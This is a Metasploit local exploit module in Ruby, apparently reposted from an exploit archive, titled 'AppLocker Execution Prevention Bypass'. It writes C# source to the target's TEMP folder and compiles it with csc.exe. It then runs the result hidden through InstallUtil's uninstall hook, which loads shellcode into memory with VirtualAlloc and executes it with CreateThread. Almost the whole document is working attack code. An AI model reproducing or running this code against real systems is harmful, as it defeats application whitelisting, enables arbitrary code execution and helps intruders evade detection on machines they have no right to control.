AppLocker Execution Prevention Bypass

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class Metasploit4 < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Exploit::FileDropper  
include Msf::Post::File  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'AppLocker Execution Prevention Bypass',  
'Description' => %q{  
This module will generate a .NET service executable on the target and utilise  
InstallUtil to run the payload bypassing the AppLocker protection.  
  
Currently only the InstallUtil method is provided, but future methods can be  
added easily.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Casey Smith', # Original AppLocker bypass research  
'OJ Reeves' # MSF module  
],  
'Platform' => [ 'win' ],  
'Arch' => [ ARCH_X86, ARCH_X86_64 ],  
'SessionTypes' => [ 'meterpreter' ],  
'Targets' => [ [ 'Windows', {} ] ],  
'DefaultTarget' => 0,  
'DisclosureDate'=> 'Aug 3 2015',  
'References' =>  
[  
['URL', 'https://gist.github.com/subTee/fac6af078937dda81e57']  
]  
))  
  
register_options([  
OptEnum.new('TECHNIQUE', [true, 'Technique to use to bypass AppLocker',  
'INSTALLUTIL', %w(INSTALLUTIL)])])  
end  
  
# Run Method for when run command is issued  
def exploit  
if datastore['TECHNIQUE'] == 'INSTALLUTIL'  
if payload.arch.first == 'x64' && sysinfo['Architecture'] !~ /64/  
fail_with(Failure::NoTarget, 'The target platform is x86. 64-bit payloads are not supported.')  
end  
end  
  
# sysinfo is only on meterpreter sessions  
print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?  
  
if datastore['TECHNIQUE'] == 'INSTALLUTIL'  
execute_installutil  
end  
end  
  
def execute_installutil  
envs = get_envs('TEMP', 'windir')  
  
dotnet_path = get_dotnet_path(envs['windir'])  
print_status("Using .NET path #{dotnet_path}")  
  
cs_path = "#{envs['TEMP']}\\#{Rex::Text.rand_text_alpha(8)}.cs"  
exe_path = "#{envs['TEMP']}\\#{Rex::Text.rand_text_alpha(8)}.exe"  
  
installutil_path = "#{dotnet_path}\\InstallUtil.exe"  
  
print_status("Writing payload to #{cs_path}")  
write_file(cs_path, generate_csharp_source)  
register_files_for_cleanup(cs_path)  
  
print_status("Compiling payload to #{exe_path}")  
csc_path = "#{dotnet_path}\\csc.exe"  
csc_platform = payload.arch.first == 'x86' ? 'x86' : 'x64'  
vprint_status("Executing: #{csc_path} /target:winexe /nologo /platform:#{csc_platform} /w:0 /out:#{exe_path} #{cs_path}")  
cmd_exec(csc_path, "/target:winexe /nologo /platform:#{csc_platform} /w:0 /out:#{exe_path} #{cs_path}")  
  
print_status("Executing payload ...")  
vprint_status("Executing: #{installutil_path} /logfile= /LogToConsole=false /U #{exe_path}")  
client.sys.process.execute(installutil_path, "/logfile= /LogToConsole=false /U #{exe_path}", {'Hidden' => true})  
register_files_for_cleanup(exe_path)  
end  
  
def get_dotnet_path(windir)  
base_path = "#{windir}\\Microsoft.NET\\Framework#{payload.arch.first == 'x86' ? '' : '64'}"  
paths = dir(base_path).select {|p| p[0] == 'v'}  
dotnet_path = nil  
  
paths.reverse.each do |p|  
path = "#{base_path}\\#{p}"  
if directory?(path) && file?("#{path}\\InstallUtil.exe")  
dotnet_path = path  
break  
end  
end  
  
unless dotnet_path  
fail_with(Failure::NotVulnerable, '.NET is not present on the target.')  
end  
  
dotnet_path  
end  
  
def generate_csharp_source  
sc = payload.encoded.each_byte.map {|b| "0x#{b.to_s(16)}"}.join(',')  
cs = %Q^  
using System;  
  
namespace Pop  
{  
public class Program { public static void Main() { } }  
  
[System.ComponentModel.RunInstaller(true)]  
public class Pop : System.Configuration.Install.Installer  
{  
private static Int32 MEM_COMMIT=0x1000;  
private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;  
private static UInt32 INFINITE = 0xFFFFFFFF;  
  
[System.Runtime.InteropServices.DllImport("kernel32")]  
private static extern IntPtr VirtualAlloc(IntPtr a, UIntPtr s, Int32 t, IntPtr p);  
  
[System.Runtime.InteropServices.DllImport("kernel32")]  
private static extern IntPtr CreateThread(IntPtr att, UIntPtr st, IntPtr sa, IntPtr p, Int32 c, ref IntPtr id);  
  
[System.Runtime.InteropServices.DllImport("kernel32")]  
private static extern UInt32 WaitForSingleObject(IntPtr h, UInt32 ms);  
  
public override void Uninstall(System.Collections.IDictionary s)  
{  
byte[] sc = new byte[] {#{sc}};  
IntPtr m = VirtualAlloc(IntPtr.Zero, (UIntPtr)sc.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);  
System.Runtime.InteropServices.Marshal.Copy(sc, 0, m, sc.Length);  
IntPtr id = IntPtr.Zero;  
WaitForSingleObject(CreateThread(id, UIntPtr.Zero, m, id, 0, ref id), INFINITE);  
}  
}  
}  
^  
  
cs  
end  
  
end  
  
`